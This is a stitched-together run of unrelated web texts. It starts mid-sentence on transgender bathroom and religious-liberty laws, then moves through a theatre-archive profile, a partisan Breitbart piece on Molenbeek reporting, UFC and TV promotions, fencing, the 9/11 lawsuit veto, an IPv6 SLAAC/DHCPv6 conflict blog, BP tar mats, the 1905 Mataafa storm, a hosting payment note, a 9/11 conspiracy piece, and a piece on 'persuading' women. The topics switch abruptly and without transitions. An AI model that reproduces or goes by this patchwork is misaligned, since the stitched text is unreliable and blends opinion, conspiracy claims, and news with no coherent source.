"Bruce Springsteen gets to not lend his artistic talent to something he thinks is wrong," Anderson said, referring to the rock legend's decision to cancel a concert in North Carolina last weekend. "But I see this as hypocritical, because he wants to block a law that protects the baker or photographer from being able not to lend his talent to something he thinks is wrong."
Opponents of religious liberty laws maintain that they are tantamount to permission to discriminate. Jason Holsman, a Democrat who helped lead a 36-hour filibuster that tried to stop a religious freedom bill from advancing in the Missouri Senate, noted during debate that he has many LGBT constituents. "I look at this bill and I read it through their eyes," he said. "And when I read it through their eyes, I see a mean-spirited attempt to try and make the laws apply differently to me than they [do] for you."
Advocates for transgender individuals have argued that they are the ones at risk from potential harm when using bathrooms that are not appropriate to them. They say that in cities where transgender individuals can use the bathrooms they feel are appropriate, a few of them have been assaulted, but there is no evidence of transgender individuals ever assaulting other people.
But many people remain uncomfortable with the idea that a person who is anatomically a male has become a woman and wants to use facilities for women. That was demonstrated last fall by Houston voters rejecting a broad anti-discrimination ordinance, following a campaign that mainly turned on the question of transgender bathroom use. Democrats and the "liberal media... will never stop trashing North Carolina until they achieve their goal of allowing any man into any women's bathroom or locker room at any time, simply by claiming to feel like a woman," North Carolina Senate President Pro Tempore Phil Berger said in a statement, in response to McCrory's executive order.
Meanwhile, in Massachusetts, GOP Gov. Charlie Baker is trying to decide whether to support an expansion of the state's anti-discrimination protections for transgender individuals to include public accommodations, including bathrooms. In Minnesota, a bill to block transgender individuals from using the restrooms of their choice received a hearing from a House committee on Tuesday, |
was crazy, far beyond her reach. But the idea stuck with her. “The next morning I woke up and I thought: ‘Nothing ventured, nothing gained,’” she recalls. “That was it. I was going to try and do it.”
She immediately reached out to the New York Public Library for the Performing Arts at Lincoln Center. The response? “What makes you think you can do this?” Truthfully, Corwin didn’t know she could, but she wanted to try. It was enough for Thor Wood, head of the Theatre Division at NYPL at the time. He gave Corwin a desk, a telephone, and a three-month timeline to get her initiative off the ground. Corwin needed to get five unions on her side to move forward: Actors Equity Association, the Dramatists Guild, the Stage Directors and Choreographers Society (SDC), the union for stagehands and technicians (IATSE), and the union of professional musicians (Local 802).
Approval took a lot longer than three months. After nearly two years, she still needed clearance from Local 802 and IATSE to begin filming on Broadway. “They wouldn’t answer my phone calls. I didn’t know what I was going to do,” she says. All she knew was that she had a cause worth fighting for.
“I thought it was a sin that once these wonderful productions were gone that they were gone forever,” explains Corwin. “The terrific production of The Glass Menagerie with Laurette Taylor (1945), or Marlon Brando in A Streetcar Named Desire—gone forever. That really troubled me.”
In 1970, Corwin took matters into her own hands. She marched into the IATSE headquarters on 47th Street and introduced herself in person. “It was like a scene from [Elia Kazan’s 154 film] On the Waterfront,” says Corwin. “There was this guy with his feet up on the desk, leaning back and smoking a cigar.” Corwin asked to see the President, Richard F. Walsh and she laid out her case for the archive: She named the other unions who had already come on board, and reiterated that the program would be for education and research purposes only, not the general public. “After about an hour he stood up and said: ‘Enough! You’ve convinced me,” says Corwin. By the next morning, she had a signed agreement from the union.
In celebration of the IATSE partnership (and the effort behind it), Corwin established the tradition of giving Hershey chocolate bars to stagehands at every production filmed for the archive since its launch—a practice her successor, former assistant Patrick Hoffman, maintains today.
While pending approval from the fifth and final union, Corwin faced her next dilemma: how to film a Broadway show with little-to-no budget. In preparation, she decided to film an Off-Broadway production. With “the cheapest cameraman in New York,” the first show taped for the archive was a Japanese musical titled The Golden Bat at the Sheridan Square Playhouse. It was 1970, the very same year that she finalized approval from all five unions, and TOFT was founded.
TOFT has continued to expand throughout the decades and, since its launch, now counts over 4,000 Broadway, Off-Broadway, and regional performances in its vault. Actors of all levels view past works to research a role, directors find inspiration, journalists discover context—all made possible by Corwin.
“We’ve really come a long way since the beginning,” says Corwin, who was recently honored with a Special Lifetime Achievement Award from The League of Professional Theatre Women. A recipient of a 2001 Special Tony Award, the same year she announced her retirement and resigned as the director of the archive, her passion for the theatre still burns. At 97, Corwin’s autobiography can now helm her as a champion of theatre and the keeper of cultural treasure.
A list of available TOFT titles can be found online here. The recordings are available to theatre professionals, students, or researchers, and viewed in NYPL’s screening room. Advance appointments can be made by calling (212) 870-1642.Originally published under the title "Molenbeek Hit And Run: How The Mainstream Media Spread Another False 'Islamophobia' Story."
The Daily Mail amended its false headline claiming the perpetrator of a hit-and-run attack in Brussels was a "far-right" activist. Other media outlets haven't made corrections.
The journalists and publications which implied the hit and run in Molenbeek borough of Brussels this weekend was a 'far right' anti Islam attack had no evidence to suggest that it was as they reported, but they knew what story they wanted to write.
That's why most hesitantly wrote "during" a "far right demonstration" instead of bluntly labelling the driver a "far right activist" as did the Daily Mail, the first publication to report on the story.
Instead of acknowledging the categorical error, or clearly reporting the truth as it emerged, however, the Mail quietly edited their original article, burying the factual change three quarters of the way down the page, and failing to issue a correction or clarification.
Its headline shifted from "Muslim Women Is Mown Down by Grinning Far-Right Activist" to "by Grinning Driver" (see above) and the critical new details only appeared in the sixth paragraph:
Police later announced that they had arrested two men, believed to have been the car's driver and passenger, who have been named as Redouane B. and Mohamed B – both of whom are thought to be residents of Molenbeek.
Numerous other articles in the Independent, Express, New York Post, and others have yet to be amended or followed up with the truth. Some, like Evening Standard, only published their misleading story this morning, after all the facts had become widely available.
Journalists who bothered to check with sources in Brussels were able to ascertain the man was not "far right," but a local Muslim teenager, a fact reported two days ago by those such as Channel 4's Paraic O'Brien.
The 'Islamophobia' industry was quick to seize upon the Molenbeek attack.
The Times, a well respected paper known as the UK's "paper of record," was one of the only major publications to report the perpetrators names from the start. However, it only did so in the fifth paragraph, opening with the unnecessarily unclear passage, "A woman was seriously injured when she was struck by a speeding car during scuffles between Belgian police, far-right protesters and local youths."
This reporting may have something to do with the fact that the "far right" was mostly well behaved in Molenbeek this weekend. The only significant disturbance came from "rioting" local migrant youths and bored, violent "anti-fascists."
Predictably, the "Islamophobia" industry was quick to seize upon the fantastical story.
Britain's 'Tell MAMA' organisation, which claims to fight anti-Muslim prejudice, tweeted about the Molenbeek attack 10 times.
Britain's Tell MAMA organisation, which was once backed by the government and says it "supports victims of anti-Muslim hate" and "measures and monitors anti-Muslim incidents" tweeted about the story no less that ten times (right).
As one Twitter user exclaimed: "Its amazing, these people are more outraged by fake tales of 'Islamophobia' in Brussels than the deadly terror attacks!"
Similarly, just last week, the murder of Asad Shah, a well loved Muslim from the persecuted Ahmadiyyah sect, rocked the British media.
However, the Guardian and others completely omitted the fact the killer was a Muslim, and the rest of the media lost interest when blame could not be pinned on "Islamophobia."
The latest incidents highlight how the UK media is desperate to report false "Islamophobia" stories, often failing to correct its reporting when it becomes clear that the crimes in question have no link to "Islamophobia."
The British media is prone to report false 'Islamophobia' stories.
In December last year the media was led to believe that a normal Muslim family was the victim of "Islamophobia" when it was simply trying to go to Disneyland. The story soon unravelled as it became clear that the family had connections with the same "army of darkness" mosque attended by the recent San Bernardino terrorist attackers. Breitbart London noted the discrepancies in their story almost immediately.
In September 2015, the BBC used a three-year-old video of a non-"Islamophobic" incident to highlight the "rise in Islamophobia."
In June 2015, the BBC promoted a story about a man who couldn't get a job because he had a Muslim name. But Breitbart London exposed the fact that not only did he change his name, he also removed all reference to an extremist, Islamist school from his curriculum vitae (resume).
At the point of publication, none of the media outlets involved in the false reporting have responded to Breitbart London for comment. But the Daily Beast's Dean Obeidallah did tell us to "f**k ourselves."LONDON – UFC heavyweight Alistair Overeem is no stranger to fighting teammates, which is how he characterizes his upcoming headliner against Andrei Arlovski.
The two train at the same gym, the famed Jackson-Wink MMA in Albuquerque, N.M. But that’s where the relationship largely ends.
“I don’t have a problem fighting Andrei, who’s not my friend – he’s my teammate,” Overeem today told MMAjunkie at a Q&A session in support of their headliner at UFC Fight Night 87, which takes place May 8 at Ahoy Rotterdam in Rotterdam, Netherlands. UFC officials today formally announced the bout.
The two respect each other, Overeem clarified, but they’re not hanging out on weekends. Asked how they would share the same space, Overeem (40-14 MMA, 5-3 UFC) said he’d take evenings while Arlovski (25-11 MMA, 14-5 UFC) takes mornings.
On his championship run as a kickboxer, Overeem shared the ring with a pair of fighters from his former camp, Golden Glory. He had no trouble laying into Tyrone Spong or Ghokan Saki in the 2010 K-1 Grand Prix and defeated both on the way to winning the promotion’s tournament.
Now full-time in MMA, Overeem is enjoying a late-career resurgence in the UFC, where he’s won his past three bouts. A meeting with Arlovski, whose four-fight surge was stopped this past month by Stipe Miocic, could get him closer to a title fight.
In fact, Overeem predicts a win will give him No. 1 contender status.
“I expect when I beat Andrei, I’ll fight for the title next,” he said.
Check out the video to get Overeem’s plans for training at the same gym and watch him get flustered by questions about his latest UFC contract, which comes after he tested the market as a free agent.
And for more on UFC Fight Night 87, check out the UFC Rumors section of the site.“The Insanity Principle: How Extremism in Politics is Threatening Democracy in the 21st Century” – When Laurel Healy (Mary Elizabeth Winstead) returns home to Washington, D.C. to work for her brother, Senator Luke Healy (Danny Pino), on Capitol Hill, she is caught in the midst of two huge problems: the government has stopped working due to budgetary disagreements, and mysterious bugs are eating the brains of a growing number of Congress members and Hill staffers, on a rebroadcast of the series premiere of BRAINDEAD, on a special night and time, Sunday, June 19 (8:00-9:00 PM, ET/PT) on the CBS Television Network. Mary Elizabeth Winstead, Danny Pino, Aaron Tveit and Tony Shalhoub star. (Originally broadcast 6/13/16.)
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BRAINDEAD is a comic-thriller set in the world of Washington, D.C. politics that follows Laurel, a young, fresh-faced Hill staffer who discovers two things: the government has stopped working, and bugs are eating the brains of Congress members and Hill staffers. The daughter of a Democratic political dynasty who left Washington, D.C. to become a documentary filmmaker, Laurel is pulled back into THE FAMILY business when her brother, Luke, the Democratic whip Senator from Maryland, needs her help running his Senate office. On the Hill, Laurel becomes unlikely friends with Gareth (Aaron Tveit), the smart, hardworking Legislative Director to a top Republican, Senator Red Wheatus (Tony Shalhoub). Her other allies include Gustav (Johnny Ray Gill), an eccentric genius who is the first in D.C. to recognize that something sinister is attacking the Capitol, and Rochelle (Nikki M. James), a medical student who teams up with Laurel and Gustav to protect and defend the citizens of D.C. from an untimely fate. As the tiny bugs continue to multiply, Laurel and her allies must work quickly to identify the creatures, stop their infiltration and ultimately save the world.My high school math teacher probably thought I was on drugs.
He saw the welts running along my left arm and raised his eyebrows; before he spoke, I said, "It's from fencing." I was smugly proud of those welts, and the adrenaline was always too high to feel much pain from their infliction.
I started fencing in Canada in 1984, a time when it was practically unheard of. It appealed to my fantasy-novel-reading/Dungeons-&-Dragons-playing personality. When all other physical activity failed to interest me, fencing was my sole form of exercise.
But it's rapidly rising in popularity, with the U.S. Olympic fencing team getting more competitive, schools popping up all over, and more children picking up a blade at a young age. It seems to be drawing in those who don't like the idea of more traditional sports. There is a coolness factor to blade combat as sport that captures the imagination and makes the body move.
"I wasn't active when I started fencing," Valerie Swenson, a 27-year-old university student in Wichita, Kansas, told me. "I'd never been a team sports person, but I'd seen fencing in the Olympics and always thought it would be fun to try." She began four years ago, and now it's her primary source of physical activity.
And fencing goes beyond fitness.
"It is both an intellectual approach mixed with the physical," said Benoit Bouysset, the men's epee coach for the U.S. Olympic team. (Epee is one of three fencing styles, with the others being foil and saber.) "It is like physical chess, because you're always thinking several moves ahead. You use a lot more energy this way because your brain is also very active."
And as much as people talk about "being present" in your daily life, I've noticed that my mind wanders when I go for a run, but never have I been more present than when someone was trying to stab me with a sword. "You have to be focused on the bout," Bouysset said. "You can't be thinking about problems with work or paying bills." Fencing involves attention to endurance, strategy, technique and what your opponent is doing. Bouysset praises it for stress relief.
And although I mentioned welts on my arm, it is remarkably safe, with protective clothing and nonlethal swords. In fact, it's so safe that the Secret Service didn't flinch when 2008 Olympic silver medalist in team saber Tim Morehouse did mock battle with President Barack Obama.
"It's one of the examples I give when people ask if fencing is dangerous," Morehouse said. "I tell them the Secret Service let me right next to the president with a saber."
Morehouse is another example of choosing fencing because more traditional sports didn't appeal. "In seventh grade I saw a sign that said, 'Join the fencing team and get out of PE.' " I hated gym class too. "Without even knowing what it was, I went, and when I saw it was about swords, I was hooked."
Morehouse began fencing foil, which has rules regarding "priority of attack" and scoring only by hitting the opponent in the torso with the point of the blade. I preferred epee, which had more simple rules that were explained to me thus: "Hit him anywhere. Hit him first." (Also with the point.) After a time, Morehouse switched to saber, which involves hitting your opponent with the side of the blade. The Olympian explained to me of the style switch: "It's like the sorting hat in 'Harry Potter.' The blade picks you."
And it's not just for the able-bodied. Wheelchair fencing is a Paralympic event.
"Wheelchair fencing is one of the best sports that can be integrated with the able-bodied," said Leslaw Stawicki, coach of the U.S. wheelchair fencing team. Stawicki explained that wheelchair fencers learn precise blade work because "in a wheelchair you cannot retreat, you have to take action." The wheelchairs are locked into frames at set distances.
Joseph Brinson is a Paralympic fencer who was left paraplegic after a car accident at age 17. He told me of playing traditional sports like football and baseball while growing up. "I'm from Mississippi, and fencing is not really big there," he said. But he was introduced to wheelchair fencing eight years ago and was captivated. "I love the one-on-one fight."
Brinson explained that wheelchair fencing is growing rapidly, with more 200 athletes at the Fencing World Cup. For cross training, "I do weight training, and swimming is really good." The weights are lighter and high rep, of course. "You want to be strong but not a bodybuilder," he said. "It's explosive strength you want."
These thoughts were echoed by Morehouse, who said, "You want to be able to move quickly. Having huge muscles isn't an advantage." He said his cross training involves skipping rope, ladder drills and short-burst sprints, practicing his ability to get up to top speed rapidly.
And like the wheelchair variety, Morehouse said, able-bodied fencing is gaining popularity. "Now American athletes are training more professionally," he said, "with more of them training as a full-time job to go for Olympic gold."
For Swenson, fencing came with a boost to her social life. "I was new to the city and having trouble meeting people with similar interests, so it was good to facilitate that while adding physical activity."
And if you're a fan of the dramatic arts, fencing ability can be a prerequisite to an acting career. For anyone wishing to play Romeo or Hamlet, skill with a blade is necessary to do the character justice.
Clive Standen, who these days wields a battle-ax on The History Channel's "Vikings," studied fencing at the London Academy of Music and Dramatic Arts under the tutelage of a retired Olympic fencer. "I really got into fencing," Standen said. And while he enjoys playing a Norseman berserker, he told me, "I need to find my Errol Flynn swashbuckling role so I can show the world what I can do with a rapier."
Fell is a certified strength and conditioning specialist and owner of bodyforwife.com.The Republican-led Congress will try to override Mr Obama's veto.
US President Barack Obama has vetoed a bill allowing 9/11 families to sue Saudi Arabia, risking fierce public backlash and a rare congressional rebuke.
Key points: Legislation allowing 9/11 victims to sue Saudi Arabia for compensation passed earlier in month by Congress
Most hijackers were Saudi citizens, but no link with Saudi Government has been proven
White House insists Mr Obama vetoed bill due to worries of setting "dangerous legal precedent"
Expressing "deep sympathy" for the families of the victims, Mr Obama said the law would be "detrimental to US national interests".
The White House tried and failed to have the legislation — allowing 9/11 families to launch civil suits, which was unanimously backed by Congress — from being substantially revised.
Mr Obama now faces the prospect of Republican and Democratic politicians joining forces to override his veto for the first time in his presidency.
Such a rebuke would overshadow his last months in office and show the White House to be almost fatally weak.
New York Senator Chuck Schumer, a Democrat who co-sponsored the bill, said he would press ahead with the override.
"This is a disappointing decision that will be swiftly and soundly overturned in Congress," Mr Schumer said.
"If the Saudis did nothing wrong, they should not fear this legislation.
"If they were culpable in 9/11, they should be held accountable."
Families of 9/11 victims have campaigned for the law, convinced that the Saudi Government had a hand in the attacks that killed almost 3,000 people.
Fifteen of the 19 hijackers were Saudi citizens, and declassified documents showed US intelligence had multiple suspicions about links between the Saudi Government and the attackers.
No link to the Saudi Government has been proven, and the Saudi Government denies any links to the plotters.
Terry Strada, whose husband Tom was killed in World Trade Centre Tower One, told AFP families were "outraged and very disappointed" by Mr Obama's decision.
She vowed that the group would now lobby congress to overturn the decision.
Republican presidential nominee Donald Trump described the decision as "shameful".
"That President Obama would deny the parents, spouses and children of those we lost on that horrific day the chance to close this painful chapter in their lives is a disgrace," he said.
"If elected president, I would sign such legislation should it reach my desk."
Mr Trump's Democratic opponent Hillary Clinton was in agreement.
Her campaign spokesman, Jesse Lehrich, said she would also sign the bill.
Behind the scenes, Riyadh has been lobbying furiously for the bill to be scrapped.
A senior Saudi Prince reportedly threatened to pull billions of dollars out of US assets if it becomes law, but Saudi officials now distance themselves from that claim.
AFP/ReutersEverybody who starts (consciously) integrating IPv6 in their network has to decide how to provision IPv6 addresses, default routes and recursive DNS server (RDNSS) information to all clients.
To make this simple and automated, IPv6 includes SLAAC (StateLess Address Auto Configuration). This is a good thing, but it’s stateless, so you no longer manage your IP address provisioning centrally (as you did with DHCP in IPv4) and thus lose traceability (i.e. which node has which IP at any given time). Moreover, SLAAC supports provisioning of RDNSS information only since RFC 6106 (November 2010), and not everybody supports this. For example, Microsoft doesn’t, and it doesn’t seem to have any intention of changing this.
Many believe this is reason enough to forget about SLAAC – or at least try to – and use DHCP just like in the good old IPv4-only days. Indeed, there is such a thing as DHCPv6, but unfortunately it doesn’t provision default router information, and, once again, not everybody supports it. For example, Android doesn’t, and it doesn’t seem to have any intention of changing this.
This means most of us will end up with a mixture of SLAAC and DHCPv6 (either the stateless or stateful variant), which is not a problem in theory because IPv6 Router Advertisements (the ICMPv6 message type used for SLAAC) have flags for that.
ICMPv6 Type 134 (Router Advertisement) flags:
M – Managed Address Configuration. DHCPv6 is available for IPv6 address allocation.
O – Other Configuration. Other configuration information is available through DHCPv6 (e.g. the RDNSS).
Flags in prefix information option:
A – Address Configuration flag. The prefix can be used for stateless address configuration (SLAAC).
L – On-Link flag. The prefix can be used for on-link determination (other IPv6 addresses with the same prefix are on the same L2 subnet).
But how do implementations behave if the information provided by Router Advertisement conflicts with that from DHCPv6 due to human error, conflicting default settings or an attacker? And how do such conflicts affect network stability and security?
This is what the talk from Enno Rey at the last Tech Talk of the Swiss IPv6 Council in Zurich was about. Enno presented the results of the research he and his team conducted in their IPv6 lab at ERNW in Heidelberg.
Some examples of the findings:
Windows 8.1 configures IPv6 address from DHCPv6, despite the fact that the Management flag (M) in the Router Advertisement is not set.
If both SLAAC and DHCPv6 provide RDNSS information and M/A/O flags are set, Fedora, Centos and OS X configure RDNSS information from both sources, Ubuntu only from the RAs, and Windows only from DHCPv6.
If two routers send RAs with conflicting M/O flags, basically all operating systems behave differently.
The conclusion, in short, is that this is yet another area of IPv6 where we can’t assume that things just work as expected. Also, a lack of IPv6 knowledge and testing efforts can lead to stability and security problems in your network later on. Without a good understanding of IPv6, it might be hard to get to the bottom of the cause.
Slides (PDF) from the Tech Talk and a corresponding whitepaper (PDF) are available online.
IPv6 Business Conference in Zurich – 18.6.2015
Enno Rey will also speak at the upcoming IPv6 Business Conference in Zurich. With two parallel tracks of IPv6 talks, the conference is a great opportunity to update your knowledge and meet the right people, and SWITCH clients receive a CHF 100 discount (just use the discount code “Switch-Discount” when you register).
By the way: you can find an interview with Enno Rey, among other things founder of the Troopers Security Conference, on the topic of IPv6 on the SWITCH website.
IETF-Draft: DHCPv6/SLAAC Address Configuration Interaction Problem Statement: draft-ietf-v6ops-dhcpv6-slaac-problem-03A berm built to capture spilled oil in Barataria Bay, Louisiana. Mario Tama/Getty
New Orleans investigative publication the Lens has a new story about the BP oil spill cleanup that, if nothing else, will introduce you to an unfortunate concept: the “tar mat.”
Tar mats formed when Deepwater Horizon oil nearing the Louisiana coast became weighed down by the silt from the Mississippi River and sank to the bottom near the shoreline. Quickly covered by sand and sediments from the state’s rapidly-eroding coast, they have frequently been uncovered and washed ashore by stiff southerly winds, especially during tropical storms.
The Lens’ story is about BP’s statement that the Gulf of Mexico is “returning to baseline conditions” five years after the 200 million-gallon Deepwater Horizon spill. This assertion was condemned as “inappropriate and premature” by the National Oceanic and Atmospheric Administration, and would also seem to be contradicted by the Lens’ report of ongoing BP and Coast Guard work removing a 25,000 pounds-and-counting tar mat from a beach some 50 miles from New Orleans:
BP has been working to clean the beach since Feb. 23, well before their statement was released. However, they didn’t notify the Coast Guard of the mess until March 13, said Seth Johnson, a spokesman for that agency.
Meanwhile, a few miles to the west, two dead adult bottlenose dolphins had washed up on Queen Bess Island, continuing what has been a large die-off of dolphins in Barataria Bay since the oil washed into that critical coastal estuary five years ago.
Tests to confirm whether the oil in the mat came from the Deepwater Horizon have not yet been completed.× 1 of 5 Expand UW-Superior Lake Superior Maritime Collection The Mataafa Blow A life-saving crew faces still-raging waters on Nov. 29, 1905, to rescue Mataafa survivors. × 2 of 5 Expand UW-Superior Lake Superior Maritime Collection The Mataafa Blow The wounded Mataafa attracted much attention stranded near the Duluth waterfront. × 3 of 5 Expand UW-Superior Lake Superior Maritime Collection The Mataafa Blow Nine men died on the Mataafa during the 1905 storm. This commemorative cigar box cover was created for Duluth Cigar Co. by the Calvert Lith Co. of Detroit & Chicago. × 4 of 5 Expand UW-Superior Lake Superior Maritime Collection The Mataafa Blow During the storm, the William Edenborn was smashed along the cliffs of Minnesota's North Shore. The devastation along that coast would lead to the 1910 construction of Split Rock Lighthouse. × 5 of 5 Expand Split Rock Lighthouse Collection The Mataafa Blow In calmer waters, Madeira cut a fine figure. Now the vessel lies in pieces near Gold Rock along the Minnesota shores of Lake Superior. Prev Next
Most Holy Spirit! Who didst brood
Upon the chaos dark and rude,
And bid its angry tumult cease,
And give, for wild confusion, peace;
Oh, hear us when we cry to Thee,
For those in peril on the sea!
– William Whiting, “Eternal Father, Strong to Save” (1860)
For those in peril on the sea: a century after a storm of the century
There are no atheists in a foxhole and none among sailors in a storm, it is said. And even those who deny God cannot deny Lake Superior when the inland sea musters its powers of icy winds and freezing waves into howling hurricanes in November.
When the waves rise and the whipping winds entomb man and mast in shrouds of frigid ice, then every mariner knows power and awe, peril and fear, heroics and tragedies.
Most maritime disasters unfold far from those whose lives remain safely land-bound. Ships and crews on this massive fresh-water sea struggle and sometimes disappear with nearly no trace but for the echo of ship names: Bannockburn, H.B. Smith, Ira H. Owen.
Perhaps that is why the tragic tales of 1905 – Lake Superior’s worst year for lost lives (more than 60) and vessels wrecked beyond repair (21) – haunt still, a century gone by, those who follow the maritime trade. That year was defined by one fatal drama played before an estimated 10,000 horrified witnesses in Duluth, some lighting fires on shore to warm – in spirit at least – 24 men stranded on a vessel just beyond reach of help and hope.
By dawn November 29, the fires had burned to ashes and nine of the crew had drowned or frozen or were battered to death by a storm branded forever with the name of their stout ship: the Mataafa Blow.
Nearly 30 vessels faced peril in that tumultuous storm of November 27-28, 1905, most west of the Keweenaw Peninsula. Ira H. Owen and its 14 crew members disappeared without trace northeast of Outer Island in the Apostles. It has not yet been found, but some claim it reappears as a ghost ship.
Minnesota’s north shore seemed particularly cursed that night. The lake tossed ashore, broke apart or otherwise wounded 11 vessels from Split Rock to Park Point in Duluth.
Two of the tragedies – that of William Edenborn and its tow barge Madeira and of Mataafa and its tow barge Nasmyth – embody the catastrophic loss and miraculous heroism that arose on tempest waves.
The storm stories of Madeira, Mataafa and the others actually start with a warning, sent by Lake Superior and delivered three days before the monstrous Mataafa Blow.
The warning arrived on the wooden steamer Charlemagne, which limped through the 60-mph gale on November 24 into the Keweenaw Waterway minus its bulwarks and with its aft cabin crumpled. Its captain told news reporters “that never again would he be out when he should be in,” writes Dr. Julius F. Wolff Jr. in Lake Superior Shipwrecks.
The storm that crushed Charlemagne may have contributed to the number of disasters that befell ships in the November 27-28 storm. Those many captains who safely stayed in port November 24 knew absolutely that huge Lake Superior storms never followed on the heels of one another. When clear skies arrived November 25, they hurriedly set out to fulfill the final hauls of the season, forgetting in the rush that “absolutely” and “never” do not apply to Lake Superior.
The Weather Bureau contributed its own warning. In 1870 when President Ulysses S. Grant signed the bill creating the Weather Bureau, Duluth got one of 13 original stations nationwide. In 1904, the local bureau office moved near the top of the Incline Railway on what today is Skyline Boulevard. The two-story, 11-room building overlooking the lake is a home today, as it was then because forecaster H.W. Richardson lived on the second floor. By 1905, the stations had grown to about 3,470 nationwide, and the forecasting ability had grown, too.
Richardson’s equipment was not sophisticated by today’s standards, but with the addition of telegraph and telephone connections to other stations around the country, he could track what was headed our way.
On the morning of November 27, Richardson saw a worrisome trend on his daily regional map. Tight concentric lines showed an intersection of high and low systems fighting for dominance. The tightest lines, the battle front between high and low, indicated where the worst winds and most snowfall would be. The closely gathered lines were headed for Lake Superior.
November will always be “our greatest period of volatility,” says Dean Packingham of Duluth’s National Weather Service office today. The atmosphere continually tries to balance, but during late fall the warm humid air of the southwest draws moisture from the Gulf of Mexico, then heads northeast and confronts the cold air dropping south from Canada.
The annual clash of high and low pressure systems sets the stage for horrific northern gales, sometimes generating hurricane-level 70 mph winds or more.
On November 27, 1905, H.W. Richardson posted northeast storm signals for mariners. At 3:30 p.m. that day, Captain Richard F. Humble, master of the 430-foot steel steamer Mataafa, left Duluth loaded with iron ore and towing the also ore-laden James Nasmyth.
“The weather indications, however, were such that I did not deem it advisable to remain in port and accordingly started down the Lake,” the captain would testify later in the inquiry after the Mataafa wreck. “I used my own judgment, as I always do in such cases, and I thought it was safe to start out at the time …”
Captain Humble was not alone in his judgment. Many vessels headed onto Lake Superior and into disaster.
William Edenborn, towing its cohort Madeira, was on the lake. They arrived on Lake Superior through the Soo Locks about noon November 26, headed to pick up a load of ore in the west. The weather was fair and the sailing smooth as they traveled light with water in their holds for ballast.
By supper the next day, all had changed. The wind snapped its tail around to blow from the northeast, bringing 60 mph winds “with snow beating down so thick and so fierce that one could not hold his face to the storm a moment,” recalled Edenborn’s first mate, William F. Hormig.
Remember, none of today’s satellite location systems were available, even in the imagination of these mariners. Without benefit of bearings, the captain tried to hold a steady compass heading, west by south, 1/4 south and then southwest.
Running before a roaring wind that for 12 hours never blew less than 60 mph and gusted to 80 mph mid-lake, the captains and crews did not realize that they had greatly overshot their intended sanctuary beside Devils Island in the Apostles. They were headed toward the treacherous cliffs on Minnesota’s shore.
Half past 3 a.m. November 28, with a rifle-like report and a momentary jarring almost indiscernible among the battering waves, the tow cable parted, setting the unpowered Madeira adrift and the Edenborn lurching forward.
“The snow was so thick and so blinding we could not see half the length of our ship in any direction, and the sea piling over her stern in volumes of solid water,” Edenborn’s Captain A.J. Talbot testified.
From this point, the fates of the two vessels truly were hidden one from the other. The volume and velocity of the storm had rendered useless the primary communication – ship whistles or megaphones – at least 24 hours before.
Given the power of the wind and the closeness of Madeira behind them, Talbot hesitated to turn Edenborn too quickly to search for the barge. After an hour or so of forward momentum, he called out to go back. This dangerous maneuver would expose them broadside to the wind before swinging into it.
As they came about, Chief Engineer Silas H. Hunter heard a tremendous sound. Thinking something was amiss with the loose tow cable, he tried to check it. “So violent was the wind and the snow – heavy hail snow biting in our faces – that I had to crawl on my hands and knees and cover my face with my arm, close down to the deck, and catch a hold of the skylight and other things to get aft.…”
Edenborn did not head into open seas, instead it stranded about half a mile south of Split Rock. Suddenly, the boat swept against the cliffs, trees appearing beside it. Soon it began to break up. Several hatch covers washed overboard or cracked and dropped, most tragically for third engineer James Johnson who had a habit – one for which he had been admonished by the captain – of walking on the hatches. Johnson fell to his death when he stepped onto Hatch 9, the cover of which was not there. Three others fell into another hold, but were rescued.
Most men stayed on the Edenborn and later the crew and the body of James Johnson would be taken to Two Harbors by the Edna G., an overworked little tug aiding in the rescue of multiple crews from ships wrecked along the shores.
Meanwhile, the Edenborn crew wondered about the fate of their barge. “I did not see my barge after it broke loose,” Captain Talbot said, “in fact, I did not see it before it broke loose, the storm being so severe.”
Indeed, the masted Madeira did not fare well, but amazing heroism saved all but one.
Once parted from Edenborn, Madeira’s Captain John Dissette kept sounding the Pittsburgh Steamship Company signal, but to no avail. Edenborn could not return to help. In testimony, the captain remembered trying to set forward and aft anchors, using the entire 150 fathoms (900 feet) of cable. But some divers who explored the sunken wreck decades later believe that the anchors had remained in place.
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This frees up the space that it takes, actually it takes about 30GB of HDD so it's a lot of space.
And then new customers come in and they need that space for their Virtual Machine.
I appreciate it!
If a payment is skipped, I suspend your Virtual Machine until the payment goes through. There are no refunds. I am a small company, I can't afford them. I let you cancel your subscription any time, that's all I can do, so manage your own subscription yourself.
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In the carnage following the September 11 terror attacks, a number of conspiracy theories began to emerge online concerning a cover-up, with some even suggesting that the U.S. government might have been behind the attacks.
While many of these theories are easy to debunk as nonsense, there is one piece of evidence that conspiracy theorists believe hints at something more sinister – missing cash.
The Daily Star reports that the day before the horrific attacks, former Secretary of Defense Donald Rumsfeld admitted that the Pentagon managed to somehow lose an eye-watering $2.3 trillion (£1.72 trillion) from its budget.
Donald Rumsfeld - Getty
While this would have been a massive news story at the time, it was completely forgotten about the next day as people around the world watched the atrocious attacks on the Twin Towers which claimed thousands of lives.
Conspiracy theorists argue that the U.S. government hijacked a plane and crashed it into the Pentagon to destroy all evidence of the missing budget, while also bolstering a campaign to increase the military budget.
Robert Crawford, a reporter on Now Daily, said:
Accounting offices in the Pentagon were blown up and accounting offices based in New York building in the World Trade Center were demolished.
Getty
125 people were killed in the Pentagon attack, many of whom were accountants.
Theorists believe that the missing trillions were spent on a ‘deep space programme’, the intent of which is unknown but sounds a combination of really cool and absolutely terrifying.
Unfortunately, a bit of digging reveals that the conspiracy theorists have gotten a bit carried away.
Getty
When Rumsfeld mentioned the missing trillions, he didn’t mean stolen. He meant lost as in they couldn’t find it in their paper trail – basically, they’d forgotten to keep the receipts.
Of course, ‘truthers’ choose to ignore this evidence and believe the missing money is proof of a secret black ops budget that funds top secret space expeditions.If you've ever tried to take a girl home with you, or you've ever been in a relationship, you know that sometimes women need persuading. And when it comes to persuading women, you'd be forgiven for thinking that this was a near-universal point of suffering for most men.
About two months ago I wrote a post asking "should you apologize to women?" At the beginning of that post, I mentioned the television boyfriend and husband of the 1990s -- you know, that poor, beaten-down soul constantly stumbling over himself to belt out another apology to his scowling girlfriend or wife.
Well, this is the other thing the TV boyfriend / husband does really poorly -- persuade women to do what he wants. Men on TV are usually depicted as trying and failing to get women to do what they want, instead.
"Oh, come on!" you'll hear a guy cry to a gal. "It'll be fun!"
She just looks at him, shakes her head, and ignore his request. He groans, dejectedly. Again, the audience laughs.
